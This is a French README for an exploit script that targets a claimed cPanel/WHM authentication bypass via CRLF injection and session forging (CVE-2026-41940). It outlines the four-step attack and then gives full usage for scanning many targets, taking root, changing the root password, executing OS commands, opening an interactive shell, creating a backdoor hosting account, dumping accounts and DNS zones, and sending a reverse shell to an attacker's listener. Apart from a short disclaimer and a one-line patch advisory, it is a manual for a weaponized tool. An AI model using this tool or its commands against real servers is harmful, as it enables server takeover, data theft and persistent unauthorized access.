
Contournement d'authentification cPanel/WHM (Vulnérabilité zero-day)
Avertissement : Ce document et le script associé (
exploit.py) sont fournis strictement à des fins éducatives, de recherche en sécurité et de tests d'intrusion autorisés. N'utilisez pas ce logiciel contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
exploit.py est un script qui démontre une vulnérabilité de contournement d'authentification (CVE-2026-41940) dans cPanel & WHM. La vulnérabilité permet à un attaquant non authentifié d'injecter une session root dans le cache du démon via une faille d'injection CRLF, accordant en fin de compte un accès WHM de niveau root sans nécessiter d'identifiants valides.
L'exploit fonctionne en exploitant une vulnérabilité d'injection CRLF (Carriage Return Line Feed) dans le mécanisme de gestion de l'authentification Basic, combinée à une faille de propagation de session. Le script automatise l'attaque en quatre étapes :
/login/ ou /cgi/login.cgi) pour acquérir un cookie de session non authentifié de base (whostmgrsession).cpsrvd. La réponse de redirection du serveur divulgue le jeton de sécurité généré (cpsess).do_token_denied pour propager la session forgée dans le cache du démon — ce qui en fait une session authentifiée valide./json-api/version) en utilisant la session forgée pour confirmer l'accès de niveau root.requestspip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Argument | Description |
|---|---|
--target URL | URL WHM unique (par exemple, https://target:2087) |
--target-file FILE | Fichier contenant les cibles (une ip:port par ligne) — active automatiquement le mode vérification |
| Argument | Description |
|---|---|
--threads N | Threads concurrents pour le mode multi-cibles (défaut : 10) |
--hostname HOST | Remplace l'en-tête Host — à utiliser lorsque la détection automatique échoue ou fournit un mauvais nom d'hôte |
--timeout N | Délai d'expiration par requête en secondes (défaut : 15) |
--retries N | Nombre de nouvelles tentatives en cas d'erreurs réseau (défaut : 3) |
--cookie-name NAME | Force un nom de cookie de session spécifique (détection automatique si omis) |
--no-verify | Ignore la vérification de l'étape 4 et continue quand même |
| Argument | Description |
|---|---|
--check | Mode vérification uniquement — vérifie la vulnérabilité sans l'exploiter (activé automatiquement avec --target-file) |
--password PASS | Change le mot de passe root en PASS |
--api FUNC | Appelle une fonction spécifique de l'API JSON WHM |
--api-params K=V,... | Paramètres séparés par des virgules pour --api |
--exec CMD | Exécute une commande du système d'exploitation via WHM scripts/run_script (repli : rawexec) |
--session | Génère une URL de connexion root en un clic — à ouvrir immédiatement, le jeton expire rapidement |
--shell | Lance un shell WHM interactif (cible unique uniquement) |
--dump | Extrait les informations du serveur : version, comptes, zones DNS, privilèges |
--add-user USER PASS DOMAIN | Crée un nouveau compte d'hébergement cPanel |
--revshell LHOST LPORT | Envoie un reverse shell bash à votre écouteur |
| Argument | Description |
|---|---|
--output FILE | Enregistre le jeton de session et les détails dans un fichier JSON |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
Lorsque vous utilisez --shell, les commandes suivantes sont disponibles :
| Commande | Description |
|---|---|
api <function> [k=v ...] | Appelle une fonction de l'API JSON WHM (par exemple, api version) |
exec <command> | Exécute une commande du système d'exploitation via WHM (par exemple, exec id) |
passwd <newpass> | Change le mot de passe root |
dump | Extrait les informations du serveur |
revshell <lhost> <lport> | Envoie un reverse shell |
add <user> <pass> <domain> | Crée un compte cPanel |
save <path> | Enregistre la session actuelle dans un fichier |
exit / quit | Quitte le shell |
Appliquez immédiatement les derniers correctifs de sécurité cPanel/WHM.